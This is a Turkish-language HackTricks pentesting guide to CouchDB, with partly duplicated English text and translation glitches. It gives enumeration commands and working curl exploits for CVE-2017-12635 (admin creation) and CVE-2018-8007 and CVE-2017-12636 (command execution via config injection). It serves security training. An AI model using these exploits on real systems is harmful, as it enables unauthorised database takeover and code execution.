22 KiB
5984,6984 - CouchDB Pentesting
AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
Temel Bilgiler
CouchDB, her bir belge içinde bir anahtar-değer haritası yapısı kullanarak verileri düzenleyen çok yönlü ve güçlü bir belge odaklı veritabanıdır. Belge içindeki alanlar anahtar/değer çiftleri, listeler veya haritalar olarak temsil edilebilir, bu da veri depolama ve alımında esneklik sağlar.
CouchDB'de depolanan her belge, belge düzeyinde benzersiz bir tanımlayıcı (_id
) atanır. Ayrıca, veritabanına yapılan her değişiklik kaydedildiğinde bir revizyon numarası (_rev
) atanır. Bu revizyon numarası, değişikliklerin etkin bir şekilde izlenmesine ve yönetilmesine olanak tanır, veritabanı içindeki verilerin kolay alımını ve senkronizasyonunu sağlar.
Varsayılan port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Otomatik Numaralandırma
Automatic enumeration is the process of gathering information about a target system or network without manual intervention. It involves using tools and scripts to automatically scan and enumerate various aspects of the target, such as open ports, running services, and available databases.
Otomatik numaralandırma, manuel müdahale olmadan hedef sistem veya ağ hakkında bilgi toplama sürecidir. Bu, açık portlar, çalışan servisler ve mevcut veritabanları gibi hedefin çeşitli yönlerini otomatik olarak taramak ve numaralandırmak için araçlar ve komut dosyaları kullanmayı içerir.
CouchDB Enumeration
CouchDB is a NoSQL database that stores data in JSON format. During a penetration test, it is important to enumerate CouchDB instances to identify potential vulnerabilities and misconfigurations.
CouchDB, verileri JSON formatında depolayan bir NoSQL veritabanıdır. Bir penetrasyon testi sırasında, potansiyel zayıflıkları ve yanlış yapılandırmaları belirlemek için CouchDB örneklerini numaralandırmak önemlidir.
1. Nmap CouchDB Script
Nmap is a powerful network scanning tool that can be used to enumerate CouchDB instances. The couchdb
NSE script can be used to identify CouchDB instances and gather information about them.
Nmap, CouchDB örneklerini numaralandırmak için kullanılabilecek güçlü bir ağ tarama aracıdır. couchdb
NSE komut dosyası, CouchDB örneklerini tanımlamak ve hakkında bilgi toplamak için kullanılabilir.
nmap -p 5984 --script couchdb <target>
2. Manual Enumeration
In addition to using automated tools, manual enumeration techniques can also be used to gather information about CouchDB instances. Some techniques include:
- Web Interface: Accessing the CouchDB web interface and exploring the available databases and documents.
- HTTP Requests: Sending HTTP requests to the CouchDB API to retrieve information about the databases, documents, and server configuration.
- Authentication: Attempting to authenticate to the CouchDB instance using default or weak credentials.
3. Exploitation
Once vulnerabilities or misconfigurations are identified during the enumeration phase, they can be further exploited to gain unauthorized access or perform other malicious activities. Some common exploitation techniques for CouchDB include:
- Remote Code Execution: Exploiting vulnerabilities in CouchDB to execute arbitrary code on the server.
- Privilege Escalation: Leveraging misconfigurations or vulnerabilities to escalate privileges and gain administrative access to the CouchDB instance.
- Data Exfiltration: Extracting sensitive data from the CouchDB instance, such as user credentials or confidential documents.
It is important to note that exploitation should only be performed with proper authorization and in a controlled environment. Unauthorized exploitation of systems or networks is illegal and unethical.
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Banner
CouchDB, bir NoSQL veritabanıdır. Bir HTTP sunucusu olarak çalışır ve istemcilerle JSON belgeleri üzerinden iletişim kurar. CouchDB'nin banner'ı, sunucunun sürüm numarasını ve diğer bilgileri içerir. Banner bilgileri, hedef sistem hakkında önemli ipuçları sağlayabilir.
Banner bilgisini elde etmek için aşağıdaki komutu kullanabilirsiniz:
curl -X GET http://<hedef_IP>:<hedef_port>/
Bu komutu çalıştırdığınızda, CouchDB sunucusunun banner bilgilerini alacaksınız. Bu bilgiler, hedef sistem hakkında daha fazla bilgi edinmenize yardımcı olabilir.
curl http://IP:5984/
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdaki gibi görünmelidir:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Couchdb'nin köküne erişmeye çalıştığınızda, 401 Unauthorized
hatası alırsınız ve şöyle bir mesaj görürsünüz: {"error":"unauthorized","reason":"Authentication required."}
Bu durumda banner veya diğer herhangi bir uç noktaya erişemezsiniz.
{% endhint %}
Bilgi Sorgulama
Aşağıdaki uç noktalara GET isteği ile erişebilir ve ilginç bilgiler çıkarabilirsiniz. Couchdb belgelerinde daha fazla uç nokta ve daha detaylı açıklamaları bulabilirsiniz.
/_active_tasks
Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil./_all_dbs
CouchDB örneğindeki tüm veritabanlarının bir listesini döndürür./_cluster_setup
Düğümün veya kümenin durumunu, küme kurulum sihirbazına göre döndürür./_db_updates
CouchDB örneğindeki tüm veritabanı etkinliklerinin bir listesini döndürür. Bu uç noktayı kullanmak için_global_changes
veritabanının var olması gerekmektedir./_membership
Kümenin bir parçası olan düğümlericluster_nodes
olarak görüntüler.all_nodes
alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanları da içeren şekilde görüntüler./_scheduler/jobs
Çoğaltma işlerinin listesi. Her iş açıklaması kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olay geçmişini ve diğer birkaç şeyi içerir./_scheduler/docs
Çoğaltma belge durumlarının listesi. Tamamlanan ve başarısız durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliği, veritabanı, çoğaltma kimliği, kaynak ve hedef ile diğer bilgileri döndürür./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu bilgiyi almak için/_node/_local
'e erişirken en faydalıdır./_node/{node-name}/_stats
_stats
kaynağı, çalışan sunucunun istatistiklerini içeren bir JSON nesnesi döndürür. Metin dizesi_local
, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistikler URL'leri için{node-name}
yerine_local
kullanılabilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için./_node/{node-name}/_system
_system kaynağı, çalışan sunucunun çeşitli sistem düzeyi istatistiklerini içeren bir JSON nesnesi döndürür_._ Geçerli düğem bilgisini almak için {node-name} olarak ___local
kullanabilirsiniz./_node/{node-name}/_restart
/_up
Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular.maintenance_mode
true
veyanolb
ise, uç nokta 404 yanıtı döndürür./_uuids
CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Kimlik (UUID) isteği yapar./_reshard
Kümedeki tamamlanan, başarısız, çalışan, durdurulan ve toplam iş sayısını ve yeniden paylaşım durumunu döndürür.
Daha fazla ilginç bilgi burada açıklandığı gibi çıkarılabilir: https://lzone.de/cheat-sheet/CouchDB
Veritabanı Listesi
curl -X GET http://IP:5984/_all_dbs
Eğer bu istek 401 yetkisiz şeklinde yanıt verirse, veritabanına erişmek için geçerli kimlik bilgilerine ihtiyacınız vardır:
curl -X GET http://user:password@IP:5984/_all_dbs
Geçerli Kimlik Bilgilerini bulmak için hizmeti brute force ile deneyebilirsiniz.
Bu, yeterli ayrıcalıklara sahip olduğunuzda bir couchdb yanıtının bir örneğidir (Sadece bir veritabanı listesidir):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Veritabanı Bilgisi
Veritabanı adına erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Belge Listesi
Bir veritabanındaki her girişi listele
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Belgeyi Oku
Bir veritabanındaki belgenin içeriğini okuyun:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Yetki Yükseltme CVE-2017-12635
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklardan dolayı aşağıdaki istekle hacktricks:hacktricks
kimlik bilgilerine sahip bir yönetici kullanıcı oluşturabilirsiniz:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Bu zafiyet hakkında daha fazla bilgi burada.
CouchDB Uzaktan Kod Çalıştırma (RCE)
Erlang Çerez Güvenliği Genel Bakışı
Örnek buradan.
CouchDB belgelerinde, özellikle küme kurulumuyla ilgili bölümde (link), CouchDB'nin küme modunda kullanılan bağlantı noktaları tartışılmaktadır. Standalone modunda olduğu gibi, port 5984
kullanıldığı belirtilmektedir. Ek olarak, port 5986
düğme yerel API'ları içindir ve önemli olarak, Erlang, Erlang kümesi içinde düğme iletişimini kolaylaştıran Erlang Port Haritalayıcı Hizmeti (EPMD) için TCP port 4369
gerektirir. Bu yapı, her düğümün diğer her düğümle bağlantılı olduğu bir ağ oluşturur.
Port 4369
ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet üzerinden veya güvenilmeyen bir ağ üzerinden erişilebilir hale getirilirse, sistem güvenliği benzersiz bir tanımlayıcı olan "çerez"e ağır şekilde bağımlı hale gelir. Bu çerez bir güvenlik önlemi olarak işlev görür. Örneğin, bir işlem listesinde "monster" adında bir çerez gözlemlenebilir ve bu çerez, sistem güvenlik çerçevesindeki işlevsel rolünü gösterir.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Yürütme (RCE) için nasıl istismar edilebileceğini anlamak isteyenler için, ilgili bir bölüm daha fazla okuma için mevcuttur. Bu bölümde, Erlang çerezlerini yetkisiz şekilde kullanarak sistemler üzerinde kontrol elde etmek için metodolojiler ayrıntılı olarak açıklanmaktadır. Erlang çerezlerini RCE için kötüye kullanma konusundaki ayrıntılı kılavuzu buradan keşfedebilirsiniz.
CVE-2018-8007'nin local.ini Dosyasının Değiştirilmesiyle Sömürülmesi
Örnek buradan.
Apache CouchDB'yi etkileyen, yakın zamanda açıklanan CVE-2018-8007 adlı bir zafiyet incelendi ve sömürünün local.ini
dosyasına yazma izinleri gerektirdiği ortaya çıktı. İlk hedef sistem için doğrudan uygulanamamasına rağmen, keşif amaçlarıyla local.ini
dosyasına yazma erişimi sağlamak için değişiklikler yapıldı. Aşağıda, süreci gösteren ayrıntılı adımlar ve kod örnekleri sunulmaktadır.
İlk olarak, çevre, local.ini
dosyasının yazılabilir olduğundan emin olunarak hazırlanır ve izinler listelenerek doğrulanır:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Zafiyeti sömürmek için, local.ini
içindeki cors/origins
yapılandırmasına hedeflenen bir curl komutu çalıştırılır. Bu, [os_daemons]
bölümü altında yeni bir köken enjekte eder ve keyfi kodu çalıştırmayı amaçlar:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Sonraki doğrulama, değişiklikleri vurgulamak için local.ini
içine enjekte edilen yapılandırmayı yedekle karşılaştırır:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Başlangıçta, beklenen dosya (/tmp/0xdf
) mevcut değil, bu da enjekte edilen komutun henüz çalıştırılmadığını göstermektedir. Daha fazla araştırma, CouchDB ile ilgili işlemlerin çalıştığını ortaya koyar, bunlardan biri enjekte edilen komutu potansiyel olarak çalıştırabilir:
root@canape:/home/homer/bin# ps aux | grep couch
Belirlenen CouchDB işlemini sonlandırarak ve sistemin otomatik olarak yeniden başlatılmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir ve önceden eksik olan dosyanın varlığıyla doğrulanır:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Bu keşif, özellikle local.ini
dosyasına yazma erişimi gerekliliği gibi belirli koşullar altında CVE-2018-8007 saldırısının gerçekleştirilebilirliğini doğrulamaktadır. Sağlanan kod örnekleri ve prosedür adımları, kontrol edilen bir ortamda saldırının tekrarlanması için net bir rehber sunmaktadır.
CVE-2018-8007 hakkında daha fazla ayrıntı için mdsec tarafından yayınlanan bildiriye başvurun: CVE-2018-8007.
local.ini Üzerinde Yazma İzinleriyle CVE-2017-12636 Keşfi
Örnek buradan alınmıştır.
CVE-2017-12636 olarak bilinen bir zafiyet incelendi, bu zafiyet aracılığıyla CouchDB işlemi üzerinden kod yürütme sağlanmaktadır, ancak belirli yapılandırmaların saldırıyı engelleyebileceği durumlar mevcuttur. İnternette birçok Kanıt-of-Kavram (POC) referansı bulunmasına rağmen, genellikle hedeflenen 1.x sürümünden farklı olarak, zafiyetin CouchDB sürüm 2'de sömürülmesi için ayarlamalar gerekmektedir. İlk adımlar, CouchDB sürümünün doğrulanması ve beklenen sorgu sunucuları yolunun olmadığının onaylanmasıyla ilgilidir:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılır:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Yeni bir sorgu sunucusu eklemek ve çağırmak için yapılan girişimler, aşağıdaki çıktıda belirtilen izinle ilgili hatalarla karşılaştı:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Daha fazla araştırma, yazılabilir olmayan local.ini
dosyasında izin sorunları olduğunu ortaya çıkardı. Kök veya homer erişimiyle dosya izinlerini değiştirerek ilerlemek mümkün hale geldi:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Sonraki denemelerde sorgu sunucusunu eklemek başarılı oldu, bunu yanıtta hata mesajı olmamasıyla kanıtlandı. local.ini
dosyasının başarılı bir şekilde değiştirildiği, dosya karşılaştırmasıyla doğrulandı:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna eşleme yapan özel bir görünüm aracılığıyla kodun yürütülme girişimi yapıldı:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Belirli koşullar altında CVE-2017-12636'nın istismar edilmesi hakkında daha fazla bilgi sağlayan bir özet, alternatif bir yük sağlar. Bu zafiyetin istismar edilmesi için yararlı kaynaklar şunları içerir:
Shodan
port:5984 couchdb
Referanslar
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.